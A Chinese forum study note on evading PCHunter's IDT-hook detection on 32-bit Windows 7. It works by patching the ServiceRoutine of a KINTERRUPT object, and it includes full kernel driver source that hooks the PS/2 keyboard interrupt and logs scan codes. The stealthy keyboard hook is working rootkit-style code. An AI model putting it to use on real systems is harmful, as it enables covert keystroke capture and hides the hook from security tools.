首页
论坛
课程
招聘
[原创]通过Hook InterruptObject来躲避pcHunter的检查
2021-6-28 15:58 6197

[原创]通过Hook InterruptObject来躲避pcHunter的检查

2021-6-28 15:58
6197

读《Windows内核安全》的一点感悟,记录一下,如有纰漏,还请大家多多批评指正。本文还是以书上介绍的Hook键盘中断为例,下文的“书”都指的是《Windows内核安全》。

 

这是在Windbg里运行指令!idt -a的输出的IDT表项,一般大家做IDT Hook都是去改红框里的那个地址。

 

image-20210628110228616

 

但是这么改pcHunter一下就能识别出来。很显然,pcHunter就是识别IDT表里存的那个地址所在的模块来判定是否被hook的。

 

image-20210628110045530

 

实际上IDT表里写的那个地址并不是实际的中断服务例程,而是对应中断对象的中断分派代码的地址,这个中断分派代码最终会去调用中断服务例程来处理中断,这里有关中断对象的概念可以去看书的第22章。例如,在IDT的0x81表项存放的地址为0x874b8a58,其实就是对应的中断对象0x874b8a00DispatchCode成员(偏移为0X58)。

 

image-20210628111301043

 

image-20210628111530470

 

可以去跟到这个中断分派代码(即IDT中存的地址)里去看一看,其实实际上就是去调用对应中断对象的中断服务例程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
874b8a58 54                     push    esp                      ;中断分派代码的开头
874b8a59 55                     push    ebp
874b8a5a 53                     push    ebx
...
874b8b39 bf008a4b87             mov     edi, 874B8A00h           ;把中断对象的地址存入edi中
874b8b3e e9fd2b99fc             jmp     nt!KiInterruptDispatch (83e4b740)
nt!KiInterruptDispatch:
83e4b740 8bec                   mov     ebp, esp
83e4b742 8b472c                 mov     eax, dword ptr [edi+2Ch]
...
83e4b7a5 8b4718                 mov     eax, dword ptr [edi+18h]
83e4b7a8 50                     push    eax                      ;压栈ServiceContext
83e4b7a9 57                     push    edi                      ;压栈中断对象
83e4b7aa ff570c                 call    dword ptr [edi+0Ch]      ;调用ServiceRoutine
...

那如果我们去Hook这个中断对象中的ServiceRoutine成员,岂不是pcHunter就察觉不到了,效果还与Hook IDT表一样。

 

完整的代码也不长,就贴在下面,代码是基于书附的ps2intcap.c改的,修改的关键部分在HOOK_IDT()函数中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#include <ntddk.h>
// 程序在32位的Win7 pro SP1是跑通的
 
// 由于这里我们必须明确一个域是多少位,所以我们预先定义几个明
// 确知道多少位长度的变量,以避免不同环境下编译的麻烦.
typedef unsigned char P2C_U8;
typedef unsigned short P2C_U16;
typedef unsigned long P2C_U32;
 
#define P2C_MAKELONG(low, high) \
((P2C_U32)(((P2C_U16)((P2C_U32)(low) & 0xffff)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) & 0xffff))) << 16))
 
#define P2C_LOW16_OF_32(data) \
((P2C_U16)(((P2C_U32)data) & 0xffff))
 
#define P2C_HIGH16_OF_32(data) \
((P2C_U16)(((P2C_U32)data) >> 16))
 
// 从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址
#pragma pack(push,1)
typedef struct P2C_IDTR_ {
    P2C_U16 limit;        // 范围
    P2C_U32 base;        // 基地址(就是开始地址)
} P2C_IDTR, * PP2C_IDTR;
#pragma pack(pop)
 
// 下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。
void* p2cGetIdt()
{
    P2C_IDTR idtr;
    // 一句汇编读取到IDT的位置。
    _asm sidt idtr
    return (void*)idtr.base;
}
 
typedef struct _KINTERRUPT
{
     SHORT Type;
     SHORT Size;
     LIST_ENTRY InterruptListEntry;
     UCHAR * ServiceRoutine;
     UCHAR * MessageServiceRoutine;
     ULONG MessageIndex;
     PVOID ServiceContext;
     ULONG SpinLock;
     ULONG TickCount;
     ULONG * ActualLock;
     PVOID DispatchAddress;
     ULONG Vector;
     UCHAR Irql;
     UCHAR SynchronizeIrql;
     UCHAR FloatingSave;
     UCHAR Connected;
     CHAR Number;
     UCHAR ShareVector;
     char Pad[3];
     KINTERRUPT_MODE Mode;
     KINTERRUPT_POLARITY Polarity;
     ULONG ServiceCount;
     ULONG DispatchCount;
     UINT64 Rsvd1;
     ULONG DispatchCode[135];
} KINTERRUPT, *PKINTERRUPT;
 
#pragma pack(push,1)
typedef struct P2C_IDT_ENTRY_ {
    P2C_U16 offset_low;
    P2C_U16 selector;
    P2C_U8 reserved;
    P2C_U8 type : 4;
    P2C_U8 always0 : 1;
    P2C_U8 dpl : 2;
    P2C_U8 present : 1;
    P2C_U16 offset_high;
} P2C_IDTENTRY, * PP2C_IDTENTRY;
#pragma pack(pop)
 
P2C_U32 g_old_addr = NULL;
// 首先读端口获得按键扫描码打印出来。然后将这个扫
// 描码写回端口,以便别的应用程序能正确接收到按键。
// 如果不想让别的程序截获按键,可以写回一个任意的
// 数据。
#define OBUFFER_FULL 0x02
#define IBUFFER_FULL 0x01
 
ULONG p2cWaitForKbRead()
{
    int i = 100;
    P2C_U8 mychar;
    do
    {
        _asm in al, 0x64
        _asm mov mychar, al
        KeStallExecutionProcessor(50);
        if (!(mychar & OBUFFER_FULL)) break;
    } while (i--);
    if (i) return TRUE;
    return FALSE;
}
 
ULONG p2cWaitForKbWrite()
{
    int i = 100;
    P2C_U8 mychar;
    do
    {
        _asm in al, 0x64
        _asm mov mychar, al
        KeStallExecutionProcessor(50);
        if (!(mychar & IBUFFER_FULL)) break;
    } while (i--);
    if (i) return TRUE;
    return FALSE;
}
 
void p2cUserFilter()
{
    static P2C_U8 sch_pre = 0;
    P2C_U8    sch;
    DbgPrint("p2cUserFilter\n");
    p2cWaitForKbRead();
    _asm in al, 0x60
    _asm mov sch, al
    DbgPrint("p2c: scan code = 0x%x\n", sch);
    //  把数据写回端口,以便让别的程序可以正确读取。
    if (sch_pre != sch)
    {
        sch_pre = sch;
        _asm mov al, 0xd2
        _asm out 0x64, al
        p2cWaitForKbWrite();
        _asm mov al, sch
        _asm out 0x60, al
    }
}
 
__declspec(naked) p2cInterruptProc()
{
    __asm
    {
        pushad                   // 保存所有的通用寄存器
        pushfd                   // 保存标志寄存器
        push fs
        mov bx, 0x30
        mov fs, bx
        push ds
        push es
        call p2cUserFilter       // 调一个我们自己的函数。 这个函数将实现
                                 // 一些我们自己的功能
        pop es
        pop ds
        pop fs
        popfd                    // 恢复标志寄存器
        popad                    // 恢复通用寄存器
        jmp    g_old_addr        // 跳到原来的中断服务程序
    }
}
 
VOID HOOK_IDT(ULONG nIndex, BOOLEAN b)
{
    PP2C_IDTENTRY idt_item = (PP2C_IDTENTRY)p2cGetIdt();
    //将指针指向PS/2中断项
    idt_item += nIndex;
 
    //dispatchCode地址
    P2C_U32 dispatchCode = P2C_MAKELONG(idt_item->offset_low, idt_item->offset_high);
    PKINTERRUPT interrupt_object = (PKINTERRUPT)(dispatchCode - 0x58);
 
    if (b)
    {
        g_old_addr = interrupt_object->ServiceRoutine;
        interrupt_object->ServiceRoutine = p2cInterruptProc;
        DbgPrint("源地址为%x 替换后的地址%x\n", g_old_addr, p2cInterruptProc);
    }
    else
    {
        interrupt_object->ServiceRoutine = g_old_addr;
        DbgPrint("替换为原来的地址");
    }
}
#define  DELAY_ONE_MICROSECOND  (-10)
#define  DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000)
#define  DELAY_ONE_SECOND (DELAY_ONE_MILLISECOND*1000)
//驱动卸载函数
VOID  IDT_Unload(IN PDRIVER_OBJECT DriverObject)
{
    for (int i = 0; i < KeNumberProcessors ;i++ )
    {       
        KeSetSystemAffinityThread(i + 1);
        HOOK_IDT(0x81, FALSE); 
        KeRevertToUserAffinityThread();       
    }
 
    LARGE_INTEGER interval;
    DbgPrint("p2c: unloading\n");
    // 睡眠5秒。等待所有irp处理结束
    interval.QuadPart = (5 * 1000 * DELAY_ONE_MILLISECOND);
    KeDelayExecutionThread(KernelMode, FALSE, &interval);
 
}
//驱动程序入口
NTSTATUS DriverEntry(
    IN PDRIVER_OBJECT DriverObject,
    IN PUNICODE_STRING RegistryPath
)
{
    //处理多核
    //书上说是给其他CPU投递DCP进行HOOK来处理多核的情况
    //但是我试了试这种方法似乎也可以
    for (int i = 0; i < KeNumberProcessors ;i++ )
    {       
        KeSetSystemAffinityThread(i + 1);
        HOOK_IDT(0x81, TRUE);       
        KeRevertToUserAffinityThread();       
    }
 
    DriverObject->DriverUnload = IDT_Unload;
    return STATUS_SUCCESS;
}

可以看到pcHunter其实是查不出来这个IDT表项被Hook了的,它这个是红色的我也不知道为啥,开机就这样。

 

image-20210628152230933

 

不过这种方法不能Hook没有中断对象的表项,就比如int 3中断,IDT表项里直接填的就是中断服务例程。

 

image-20210628154056402

 

最后,我感觉这种方法肯定之前有人写过了,但是我搜了一圈也没啥结果,于是就记录一下,供大家参考。

 

参考资料

 

《Windows内核安全与驱动开发》

 

https://www.4hou.com/posts/wR8w

 

https://wooyun.js.org/drops/%E6%98%BE%E7%A4%BA%E6%AF%8F%E4%B8%AACPU%E7%9A%84IDT%E4%BF%A1%E6%81%AF.html

 

https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ke/intobj/kinterrupt.htm


[培训] 优秀毕业生寄语:恭喜id咸鱼炒白菜拿到远超3W月薪的offer,《安卓高级研修班》火热招生!!!

最后于 2021-6-28 16:03 被危楼高百尺编辑 ,原因: 改注释
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回